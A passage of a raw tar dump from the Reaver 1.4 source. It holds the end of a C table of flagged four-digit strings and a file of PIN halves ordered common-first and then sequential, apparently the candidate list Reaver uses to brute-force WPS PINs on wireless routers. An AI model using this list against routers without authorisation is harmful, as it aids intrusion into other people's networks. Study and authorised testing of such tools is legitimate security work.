{ "770", 0 }, { "771", 0 }, { "772", 0 }, { "773", 0 }, { "774", 0 }, { "775", 0 }, { "776", 0 }, { "777", 1 }, { "778", 0 }, { "779", 0 }, { "780", 0 }, { "781", 0 }, { "782", 0 }, { "783", 0 }, { "784", 0 }, { "785", 0 }, { "786", 0 }, { "787", 0 }, { "788", 0 }, { "789", 0 }, { "790", 0 }, { "791", 0 }, { "792", 0 }, { "793", 0 }, { "794", 0 }, { "795", 0 }, { "796", 0 }, { "797", 0 }, { "798", 0 }, { "799", 0 }, { "800", 0 }, { "801", 0 }, { "802", 0 }, { "803", 0 }, { "804", 0 }, { "805", 0 }, { "806", 0 }, { "807", 0 }, { "808", 0 }, { "809", 0 }, { "810", 0 }, { "811", 0 }, { "812", 0 }, { "813", 0 }, { "814", 0 }, { "815", 0 }, { "816", 0 }, { "817", 0 }, { "818", 0 }, { "819", 0 }, { "820", 0 }, { "821", 0 }, { "822", 0 }, { "823", 0 }, { "824", 0 }, { "825", 0 }, { "826", 0 }, { "827", 0 }, { "828", 0 }, { "829", 0 }, { "830", 0 }, { "831", 0 }, { "832", 0 }, { "833", 0 }, { "834", 0 }, { "835", 0 }, { "836", 0 }, { "837", 0 }, { "838", 0 }, { "839", 0 }, { "840", 0 }, { "841", 0 }, { "842", 0 }, { "843", 0 }, { "844", 0 }, { "845", 0 }, { "846", 0 }, { "847", 0 }, { "848", 0 }, { "849", 0 }, { "850", 0 }, { "851", 0 }, { "852", 0 }, { "853", 0 }, { "854", 0 }, { "855", 0 }, { "856", 0 }, { "857", 0 }, { "858", 0 }, { "859", 0 }, { "860", 0 }, { "861", 0 }, { "862", 0 }, { "863", 0 }, { "864", 0 }, { "865", 0 }, { "866", 0 }, { "867", 0 }, { "868", 0 }, { "869", 0 }, { "870", 0 }, { "871", 0 }, { "872", 0 }, { "873", 0 }, { "874", 0 }, { "875", 0 }, { "876", 0 }, { "877", 0 }, { "878", 0 }, { "879", 0 }, { "880", 0 }, { "881", 0 }, { "882", 0 }, { "883", 0 }, { "884", 0 }, { "885", 0 }, { "886", 0 }, { "887", 0 }, { "888", 1 }, { "889", 0 }, { "890", 0 }, { "891", 0 }, { "892", 0 }, { "893", 0 }, { "894", 0 }, { "895", 0 }, { "896", 0 }, { "897", 0 }, { "898", 0 }, { "899", 0 }, { "900", 0 }, { "901", 0 }, { "902", 0 }, { "903", 0 }, { "904", 0 }, { "905", 0 }, { "906", 0 }, { "907", 0 }, { "908", 0 }, { "909", 0 }, { "910", 0 }, { "911", 0 }, { "912", 0 }, { "913", 0 }, { "914", 0 }, { "915", 0 }, { "916", 0 }, { "917", 0 }, { "918", 0 }, { "919", 0 }, { "920", 0 }, { "921", 0 }, { "922", 0 }, { "923", 0 }, { "924", 0 }, { "925", 0 }, { "926", 0 }, { "927", 0 }, { "928", 0 }, { "929", 0 }, { "930", 0 }, { "931", 0 }, { "932", 0 }, { "933", 0 }, { "934", 0 }, { "935", 0 }, { "936", 0 }, { "937", 0 }, { "938", 0 }, { "939", 0 }, { "940", 0 }, { "941", 0 }, { "942", 0 }, { "943", 0 }, { "944", 0 }, { "945", 0 }, { "946", 0 }, { "947", 0 }, { "948", 0 }, { "949", 0 }, { "950", 0 }, { "951", 0 }, { "952", 0 }, { "953", 0 }, { "954", 0 }, { "955", 0 }, { "956", 0 }, { "957", 0 }, { "958", 0 }, { "959", 0 }, { "960", 0 }, { "961", 0 }, { "962", 0 }, { "963", 0 }, { "964", 0 }, { "965", 0 }, { "966", 0 }, { "967", 0 }, { "968", 0 }, { "969", 0 }, { "970", 0 }, { "971", 0 }, { "972", 0 }, { "973", 0 }, { "974", 0 }, { "975", 0 }, { "976", 0 }, { "977", 0 }, { "978", 0 }, { "979", 0 }, { "980", 0 }, { "981", 0 }, { "982", 0 }, { "983", 0 }, { "984", 0 }, { "985", 0 }, { "986", 0 }, { "987", 0 }, { "988", 0 }, { "989", 0 }, { "990", 0 }, { "991", 0 }, { "992", 0 }, { "993", 0 }, { "994", 0 }, { "995", 0 }, { "996", 0 }, { "997", 0 }, { "998", 0 }, { "999", 1 } }; reaver-1.4/src/test0000644000175000017500000015136611705505257013710 0ustar reaverreaver8 0 0 1234 0000 0123 1111 2222 3333 4444 5555 6666 7777 8888 9999 0001 0002 0003 0004 0005 0006 0007 0008 0009 0010 0011 0012 0013 0014 0015 0016 0017 0018 0019 0020 0021 0022 0023 0024 0025 0026 0027 0028 0029 0030 0031 0032 0033 0034 0035 0036 0037 0038 0039 0040 0041 0042 0043 0044 0045 0046 0047 0048 0049 0050 0051 0052 0053 0054 0055 0056 0057 0058 0059 0060 0061 0062 0063 0064 0065 0066 0067 0068 0069 0070 0071 0072 0073 0074 0075 0076 0077 0078 0079 0080 0081 0082 0083 0084 0085 0086 0087 0088 0089 0090 0091 0092 0093 0094 0095 0096 0097 0098 0099 0100 0101 0102 0103 0104 0105 0106 0107 0108 0109 0110 0111 0112 0113 0114 0115 0116 0117 0118 0119 0120 0121 0122 0124 0125 0126 0127 0128 0129 0130 0131 0132 0133 0134 0135 0136 0137 0138 0139 0140 0141 0142 0143 0144 0145 0146 0147 0148 0149 0150 0151 0152 0153 0154 0155 0156 0157 0158 0159 0160 0161 0162 0163 0164 0165 0166 0167 0168 0169 0170 0171 0172 0173 0174 0175 0176 0177 0178 0179 0180 0181 0182 0183 0184 0185 0186 0187 0188 0189 0190 0191 0192 0193 0194 0195 0196 0197 0198 0199 0200 0201 0202 0203 0204 0205 0206 0207 0208 0209 0210 0211 0212 0213 0214 0215 0216 0217 0218 0219 0220 0221 0222 0223 0224 0225 0226 0227 0228 0229 0230 0231 0232 0233 0234 0235 0236 0237 0238 0239 0240 0241 0242 0243 0244 0245 0246 0247 0248 0249 0250 0251 0252 0253 0254 0255 0256 0257 0258 0259 0260 0261 0262 0263 0264 0265 0266 0267 0268 0269 0270 0271 0272 0273 0274 0275 0276 0277 0278 0279 0280 0281 0282 0283 0284 0285 0286 0287 0288 0289 0290 0291 0292 0293 0294 0295 0296 0297 0298 0299 0300 0301 0302 0303 0304 0305 0306 0307 0308 0309 0310 0311 0312 0313 0314 0315 0316 0317 0318 0319 0320 0321 0322 0323 0324 0325 0326 0327 0328 0329 0330 0331 0332 0333 0334 0335 0336 0337 0338 0339 0340 0341 0342 0343 0344 0345 0346 0347 0348 0349 0350 0351 0352 0353 0354 0355 0356 0357 0358 0359 0360 0361 0362 0363 0364 0365 0366 0367 0368 0369 0370 0371 0372 0373 0374 0375 0376 0377 0378 0379 0380 0381 0382 0383 0384 0385 0386 0387 0388 0389 0390 0391 0392 0393 0394 0395 0396 0397 0398 0399 0400 0401 0402 0403 0404 0405 0406 0407 0408 0409 0410 0411 0412 0413 0414 0415 0416 0417 0418 0419 0420 0421 0422 0423 0424 0425 0426 0427 0428 0429 0430 0431 0432 0433 0434 0435 0436 0437 0438 0439 0440 0441 0442 0443 0444 0445 0446 0447 0448 0449 0450 0451 0452 0453 0454 0455 0456 0457 0458 0459 0460 0461 0462 0463 0464 0465 0466 0467 0468 0469 0470 0471 0472 0473 0474 0475 0476 0477 0478 0479 0480 0481 0482 0483 0484 0485 0486 0487 0488 0489 0490 0491 0492 0493 0494 0495 0496 0497 0498 0499 0500 0501 0502 0503 0504 0505 0506 0507 0508 0509 0510 0511 0512 0513 0514 0515 0516 0517 0518 0519 0520 0521 0522 0523 0524 0525 0526 0527 0528 0529 0530 0531 0532 0533 0534 0535 0536 0537 0538 0539 0540 0541 0542 0543 0544 0545 0546 0547 0548 0549 0550 0551 0552 0553 0554 0555 0556 0557 0558 0559 0560 0561 0562 0563 0564 0565 0566 0567 0568 0569 0570 0571 0572 0573 0574 0575 0576 0577 0578 0579 0580 0581 0582 0583 0584 0585 0586 0587 0588 0589 0590 0591 0592 0593 0594 0595 0596 0597 0598 0599 0600 0601 0602 0603 0604 0605 0606 0607 0608 0609 0610 0611 0612 0613 0614 0615 0616 0617 0618 0619 0620 0621 0622 0623 0624 0625 0626 0627 0628 0629 0630 0631 0632 0633 0634 0635 0636 0637 0638 0639 0640 0641 0642 0643 0644 0645 0646 0647 0648 0649 0650 0651 0652 0653 0654 0655 0656 0657 0658 0659 0660 0661 0662 0663 0664 0665 0666 0667 0668 0669 0670 0671 0672 0673 0674 0675 0676 0677 0678 0679 0680 0681 0682 0683 0684 0685 0686 0687 0688 0689 0690 0691 0692 0693 0694 0695 0696 0697 0698 0699 0700 0701 0702 0703 0704 0705 0706 0707 0708 0709 0710 0711 0712 0713 0714 0715 0716 0717 0718 0719 0720 0721 0722 0723 0724 0725 0726 0727 0728 0729 0730 0731 0732 0733 0734 0735 0736 0737 0738 0739 0740 0741 0742 0743 0744 0745 0746 0747 0748 0749 0750 0751 0752 0753 0754 0755 0756 0757 0758 0759 0760 0761 0762 0763 0764 0765 0766 0767 0768 0769 0770 0771 0772 0773 0774 0775 0776 0777 0778 0779 0780 0781 0782 0783 0784 0785 0786 0787 0788 0789 0790 0791 0792 0793 0794 0795 0796 0797 0798 0799 0800 0801 0802 0803 0804 0805 0806 0807 0808 0809 0810 0811 0812 0813 0814 0815 0816 0817 0818 0819 0820 0821 0822 0823 0824 0825 0826 0827 0828 0829 0830 0831 0832 0833 0834 0835 0836 0837 0838 0839 0840 0841 0842 0843 0844 0845 0846 0847 0848 0849 0850 0851 0852 0853 0854 0855 0856 0857 0858 0859 0860 0861 0862 0863 0864 0865 0866 0867 0868 0869 0870 0871 0872 0873 0874 0875 0876 0877 0878 0879 0880 0881 0882 0883 0884 0885 0886 0887 0888 0889 0890 0891 0892 0893 0894 0895 0896 0897 0898 0899 0900 0901 0902 0903 0904 0905 0906 0907 0908 0909 0910 0911 0912 0913 0914 0915 0916 0917 0918 0919 0920 0921 0922 0923 0924 0925 0926 0927 0928 0929 0930 0931 0932 0933 0934 0935 0936 0937 0938 0939 0940 0941 0942 0943 0944 0945 0946 0947 0948 0949 0950 0951 0952 0953 0954 0955 0956 0957 0958 0959 0960 0961 0962 0963 0964 0965 0966 0967 0968 0969 0970 0971 0972 0973 0974 0975 0976 0977 0978 0979 0980 0981 0982 0983 0984 0985 0986 0987 0988 0989 0990 0991 0992 0993 0994 0995 0996 0997 0998 0999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787 1788 1789 1790 1791 1792 1793 1794 1795 1796 1797 1798 1799 1800 1801 1802 1803 1804 1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 1825 1826 1827 1828 1829 1830 1831 1832 1833 1834 1835 1836 1837 1838 1839 1840 1841 1842 1843 1844 1845 1846 1847 1848 1849 1850 1851 1852 1853 1854 1855 1856 1857 1858 1859 1860 1861 1862 1863 1864 1865 1866 1867 1868 1869 1870 1871 1872 1873 1874 1875 1876 1877 1878 1879 1880 1881 1882 1883 1884 1885 1886 1887 1888 1889 1890 1891 1892 1893 1894 1895 1896 1897 1898 1899 1900 1901 1902 1903 1904 1905 1906 1907 1908 1909 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034 2035 2036 2037 2038 2039 2040 2041 2042 2043 2044 2045 2046 2047 2048 2049 2050 2051 2052 2053 2054 2055 2056 2057 2058 2059 2060 2061 2062 2063 2064 2065 2066 2067 2068 2069 2070 2071 2072 2073 2074 2075 2076 2077 2078 2079 2080 2081 2082 2083 2084 2085 2086 2087 2088 2089 2090 2091 2092 2093 2094 2095 2096 2097 2098 2099 2100 2101 2102 2103 2104 2105 2106 2107 2108 2109 2110 2111 2112 2113 2114 2115 2116 2117 2118 2119 2120 2121 2122 2123 2124 2125 2126 2127 2128 2129 2130 2131 2132 2133 2134 2135 2136 2137 2138 2139 2140 2141 2142 2143 2144 2145 2146 2147 2148 2149 2150 2151 2152 2153 2154 2155 2156 2157 2158 2159 2160 2161 2162 2163 2164 2165 2166 2167 2168 2169 2170 2171 2172 2173 2174 2175 2176 2177 2178 2179 2180 2181 2182 2183 2184 2185 2186 2187 2188 2189 2190 2191 2192 2193 2194 2195 2196 2197 2198 2199 2200 2201 2202 2203 2204 2205 2206 2207 2208 2209 2210 2211 2212 2213 2214 2215 2216 2217 2218 2219 2220 2221 2223 2224 2225 2226 2227 2228 2229 2230 2231 2232 2233 2234 2235 2236 2237 2238 2239 2240 2241 2242 2243 2244 2245 2246 2247 2248 2249 2250 2251 2252 2253 2254 2255 2256 2257 2258 2259 2260 2261 2262 2263 2264 2265 2266 2267 2268 2269 2270 2271 2272 2273 2274 2275 2276 2277 2278 2279 2280 2281 2282 2283 2284 2285 2286 2287 2288 2289 2290 2291 2292 2293 2294 2295 2296 2297 2298 2299 2300 2301 2302 2303 2304 2305 2306 2307 2308 2309 2310 2311 2312 2313 2314 2315 2316 2317 2318 2319 2320 2321 2322 2323 2324 2325 2326 2327 2328 2329 2330 2331 2332 2333 2334 2335 2336 2337 2338 2339 2340 2341 2342 2343 2344 2345 2346 2347 2348 2349 2350 2351 2352 2353 2354 2355 2356 2357 2358 2359 2360 2361 2362 2363 2364 2365 2366 2367 2368 2369 2370 2371 2372 2373 2374 2375 2376 2377 2378 2379 2380 2381 2382 2383 2384 2385 2386 2387 2388 2389 2390 2391 2392 2393 2394 2395 2396 2397 2398 2399 2400 2401 2402 2403 2404 2405 2406 2407 2408 2409 2410 2411 2412 2413 2414 2415 2416 2417 2418 2419 2420 2421 2422 2423 2424 2425 2426 2427 2428 2429 2430 2431 2432 2433 2434 2435 2436 2437 2438 2439 2440 2441 2442 2443 2444 2445 2446 2447 2448 2449 2450 2451 2452 2453 2454 2455 2456 2457 2458 2459 2460 2461 2462 2463 2464 2465 2466 2467 2468 2469 2470 2471 2472 2473 2474 2475 2476 2477 2478 2479 2480 2481 2482 2483 2484 2485 2486 2487 2488 2489 2490 2491 2492 2493 2494 2495 2496 2497 2498 2499 2500 2501 2502 2503 2504 2505 2506 2507 2508 2509 2510 2511 2512 2513 2514 2515 2516 2517 2518 2519 2520 2521 2522 2523 2524 2525 2526 2527 2528 2529 2530 2531 2532 2533 2534 2535 2536 2537 2538 2539 2540 2541 2542 2543 2544 2545 2546 2547 2548 2549 2550 2551 2552 2553 2554 2555 2556 2557 2558 2559 2560 2561 2562 2563 2564 2565 2566 2567 2568 2569 2570 2571 2572 2573 2574 2575 2576 2577 2578 2579 2580 2581 2582 2583 2584 2585 2586 2587 2588 2589 2590 2591 2592 2593 2594 2595 2596 2597 2598 2599 2600 2601 2602 2603 2604 2605 2606 2607 2608 2609 2610 2611 2612 2613 2614 2615 2616 2617 2618 2619 2620 2621 2622 2623 2624 2625 2626 2627 2628 2629 2630 2631 2632 2633 2634 2635 2636 2637 2638 2639 2640 2641 2642 2643 2644 2645 2646 2647 2648 2649 2650 2651 2652 2653 2654 2655 2656 2657 2658 2659 2660 2661 2662 2663 2664 2665 2666 2667 2668 2669 2670 2671 2672 2673 2674 2675 2676 2677 2678 2679 2680 2681 2682 2683 2684 2685 2686 2687 2688 2689 2690 2691 2692 2693 2694 2695 2696 2697 2698 2699 2700 2701 2702 2703 2704 2705 2706 2707 2708 2709 2710 2711 2712 2713 2714 2715 2716 2717 2718 2719 2720 2721 2722 2723 2724 2725 2726 2727 2728 2729 2730 2731 2732 2733 2734 2735 2736 2737 2738 2739 2740 2741 2742 2743 2744 2745 2746 2747 2748 2749 2750 2751 2752 2753 2754 2755 2756 2757 2758 2759 2760 2761 2762 2763 2764 2765 2766 2767 2768 2769 2770 2771 2772 2773 2774 2775 2776 2777 2778 2779 2780 2781 2782 2783 2784 2785 2786 2787 2788 2789 2790 2791 2792 2793 2794 2795 2796 2797 2798 2799 2800 2801 2802 2803 2804 2805 2806 2807 2808 2809 2810 2811 2812 2813 2814 2815 2816 2817 2818 2819 2820 2821 2822 2823 2824 2825 2826 2827 2828 2829 2830 2831 2832 2833 2834 2835 2836 2837 2838 2839 2840 2841 2842 2843 2844 2845 2846 2847 2848 2849 2850 2851 2852 2853 2854 2855 2856 2857 2858 2859 2860 2861 2862 2863 2864 2865 2866 2867 2868 2869 2870 2871 2872 2873 2874 2875 2876 2877 2878 2879 2880 2881 2882 2883 2884 2885 2886 2887 2888 2889 2890 2891 2892 2893 2894 2895 2896 2897 2898 2899 2900 2901 2902 2903 2904 2905 2906 2907 2908 2909 2910 2911 2912 2913 2914 2915 2916 2917 2918 2919 2920 2921 2922 2923 2924 2925 2926 2927 2928 2929 2930 2931 2932 2933 2934 2935 2936 2937 2938 2939 2940 2941 2942 2943 2944 2945 2946 2947 2948 2949 2950 2951 2952 2953 2954 2955 2956 2957 2958 2959 2960 2961 2962 2963 2964 2965 2966 2967 2968 2969 2970 2971 2972 2973 2974 2975 2976 2977 2978 2979 2980 2981 2982 2983 2984 2985 2986 2987 2988 2989 2990 2991 2992 2993 2994 2995 2996 2997 2998 2999 3000 3001 3002 3003 3004 3005 3006 3007 3008 3009 3010 3011 3012 3013 3014 3015 3016 3017 3018 3019 3020 3021 3022 3023 3024 3025 3026 3027 3028 3029 3030 3031 3032 3033 3034 3035 3036 3037 3038 3039 3040 3041 3042 3043 3044 3045 3046 3047 3048 3049 3050 3051 3052 3053 3054 3055 3056 3057 3058 3059 3060 3061 3062 3063 3064 3065 3066 3067 3068 3069 3070 3071 3072 3073 3074 3075 3076 3077 3078 3079 3080 3081 3082 3083 3084 3085 3086 3087 3088 3089 3090 3091 3092 3093 3094 3095 3096 3097 3098 3099 3100 3101 3102 3103 3104 3105 3106 3107 3108 3109 3110 3111 3112 3113 3114 3115 3116 3117 3118 3119 3120 3121 3122 3123 3124 3125 3126 3127 3128 3129 3130 3131 3132 3133 3134 3135 3136 3137 3138 3139 3140 3141 3142 3143 3144 3145 3146 3147 3148 3149 3150 3151 3152 3153 3154 3155 3156 3157 3158 3159 3160 3161 3162 3163 3164 3165 3166 3167 3168 3169 3170 3171 3172 3173 3174 3175 3176 3177 3178 3179 3180 3181 3182 3183 3184 3185 3186 3187 3188 3189 3190 3191 3192 3193 3194 3195 3196 3197 3198 3199 3200 3201 3202 3203 3204 3205 3206 3207 3208 3209 3210 3211 3212 3213 3214 3215 3216 3217 3218 3219 3220 3221 3222 3223 3224 3225 3226 3227 3228 3229 3230 3231 3232 3233 3234 3235 3236 3237 3238 3239 3240 3241 3242 3243 3244 3245 3246 3247 3248 3249 3250 3251 3252 3253 3254 3255 3256 3257 3258 3259 3260 3261 3262 3263 3264 3265 3266 3267 3268 3269 3270 3271 3272 3273 3274 3275 3276 3277 3278 3279 3280 3281 3282 3283 3284 3285 3286 3287 3288 3289 3290 3291 3292 3293 3294 3295 3296 3297 3298 3299 3300 3301 3302 3303 3304 3305 3306 3307 3308 3309 3310 3311 3312 3313 3314 3315 3316 3317 3318 3319 3320 3321 3322 3323 3324 3325 3326 3327 3328 3329 3330 3331 3332 3334 3335 3336 3337 3338 3339 3340 3341 3342 3343 3344 3345 3346 3347 3348 3349 3350 3351 3352 3353 3354 3355 3356 3357 3358 3359 3360 3361 3362 3363 3364 3365 3366 3367 3368 3369 3370 3371 3372 3373 3374 3375 3376 3377 3378 3379 3380 3381 3382 3383 3384 3385 3386 3387 3388 3389 3390 3391 3392 3393 3394 3395 3396 3397 3398 3399 3400 3401 3402 3403 3404 3405 3406 3407 3408 3409 3410 3411 3412 3413 3414 3415 3416 3417 3418 3419 3420 3421 3422 3423 3424 3425 3426 3427 3428 3429 3430 3431 3432 3433 3434 3435 3436 3437 3438 3439 3440 3441 3442 3443 3444 3445 3446 3447 3448 3449 3450 3451 3452 3453 3454 3455 3456 3457 3458 3459 3460 3461 3462 3463 3464 3465 3466 3467 3468 3469 3470 3471 3472 3473 3474 3475 3476 3477 3478 3479 3480 3481 3482 3483 3484 3485 3486 3487 3488 3489 3490 3491 3492 3493 3494 3495 3496 3497 3498 3499 3500 3501 3502 3503 3504 3505 3506 3507 3508 3509 3510 3511 3512 3513 3514 3515 3516 3517 3518 3519 3520 3521 3522 3523 3524 3525 3526 3527 3528 3529 3530 3531 3532 3533 3534 3535 3536 3537 3538 3539 3540 3541 3542 3543 3544 3545 3546 3547 3548 3549 3550 3551 3552 3553 3554 3555 3556 3557 3558 3559 3560 3561 3562 3563 3564 3565 3566 3567 3568 3569 3570 3571 3572 3573 3574 3575 3576 3577 3578 3579 3580 3581 3582 3583 3584 3585 3586 3587 3588 3589 3590 3591 3592 3593 3594 3595 3596 3597 3598 3599 3600 3601 3602 3603 3604 3605 3606 3607 3608 3609 3610 3611 3612 3613 3614 3615 3616 3617 3618 3619 3620 3621 3622 3623 3624 3625 3626 3627 3628 3629 3630 3631 3632 3633 3634 3635 3636 3637 3638 3639 3640 3641 3642 3643 3644 3645 3646 3647 3648 3649 3650 3651 3652 3653 3654 3655 3656 3657 3658 3659 3660 3661 3662 3663 3664 3665 3666 3667 3668 3669 3670 3671 3672 3673 3674 3675 3676 3677 3678 3679 3680 3681 3682 3683 3684 3685 3686 3687 3688 3689 3690 3691 3692 3693 3694 3695 3696 3697 3698 3699 3700 3701 3702 3703 3704 3705 3706 3707 3708 3709 3710 3711 3712 3713 3714 3715 3716 3717 3718 3719 3720 3721 3722 3723 3724 3725 3726 3727 3728 3729 3730 3731 3732 3733 3734 3735 3736 3737 3738 3739 3740 3741 3742 3743 3744 3745 3746 3747 3748 3749 3750 3751 3752 3753 3754 3755 3756 3757 3758 3759 3760 3761 3762 3763 3764 3765 3766 3767 3768 3769 3770 3771 3772 3773 3774 3775 3776 3777 3778 3779 3780 3781 3782 3783 3784 3785 3786 3787 3788 3789 3790 3791 3792 3793 3794 3795 3796 3797 3798 3799 3800 3801 3802 3803 3804 3805 3806 3807 3808 3809 3810 3811 3812 3813 3814 3815 3816 3817 3818 3819 3820 3821 3822 3823 3824 3825 3826 3827 3828 3829 3830 3831 3832 3833 3834 3835 3836 3837 3838 3839 3840 3841 3842 3843 3844 3845 3846 3847 3848 3849 3850 3851 3852 3853 3854 3855 3856 3857 3858 3859 3860 3861 3862 3863 3864 3865 3866 3867 3868 3869 3870 3871 3872 3873 3874 3875 3876 3877 3878 3879 3880 3881 3882 3883 3884 3885 3886 3887 3888 3889 3890 3891 3892 3893 3894 3895 3896 3897 3898 3899 3900 3901 3902 3903 3904 3905 3906 3907 3908 3909 3910 3911 3912 3913 3914 3915 3916 3917 3918 3919 3920 3921 3922 3923 3924 3925 3926 3927 3928 3929 3930 3931 3932 3933 3934 3935 3936 3937 3938 3939 3940 3941 3942 3943 3944 3945 3946 3947 3948 3949 3950 3951 3952 3953 3954 3955 3956 3957 3958 3959 3960 3961 3962 3963 3964 3965 3966 3967 3968 3969 3970 3971 3972 3973 3974 3975 3976 3977 3978 3979 3980 3981 3982 3983 3984 3985 3986 3987 3988 3989 3990 3991 3992 3993 3994 3995 3996 3997 3998 3999 4000 4001 4002 4003 4004 4005 4006 4007 4008 4009 4010 4011 4012 4013 4014 4015 4016 4017 4018 4019 4020 4021 4022 4023 4024 4025 4026 4027 4028 4029 4030 4031 4032 4033 4034 4035 4036 4037 4038 4039 4040 4041 4042 4043 4044 4045 4046 4047 4048 4049 4050 4051 4052 4053 4054 4055 4056 4057 4058 4059 4060 4061 4062 4063 4064 4065 4066 4067 4068 4069 4070 4071 4072 4073 4074 4075 4076 4077 4078 4079 4080 4081 4082 4083 4084 4085 4086 4087 4088 4089 4090 4091 4092 4093 4094 4095 4096 4097 4098 4099 4100 4101 4102 4103 4104 4105 4106 4107 4108 4109 4110 4111 4112 4113 4114 4115 4116 4117 4118 4119 4120 4121 4122 4123 4124 4125 4126 4127 4128 4129 4130 4131 4132 4133 4134 4135 4136 4137 4138 4139 4140 4141 4142 4143 4144 4145 4146 4147 4148 4149 4150 4151 4152 4153 4154 4155 4156 4157 4158 4159 4160 4161 4162 4163 4164 4165 4166 4167 4168 4169 4170 4171 4172 4173 4174 4175 4176 4177 4178 4179 4180 4181 4182 4183 4184 4185 4186 4187 4188 4189 4190 4191 4192 4193 4194 4195 4196 4197 4198 4199 4200 4201 4202 4203 4204 4205 4206 4207 4208 4209 4210 4211 4212 4213 4214 4215 4216 4217 4218 4219 4220 4221 4222 4223 4224 4225 4226 4227 4228 4229 4230 4231 4232 4233 4234 4235 4236 4237 4238 4239 4240 4241 4242 4243 4244 4245 4246 4247 4248 4249 4250 4251 4252 4253 4254 4255 4256 4257 4258 4259 4260 4261 4262 4263 4264 4265 4266 4267 4268 4269 4270 4271 4272 4273 4274 4275 4276 4277 4278 4279 4280 4281 4282 4283 4284 4285 4286 4287 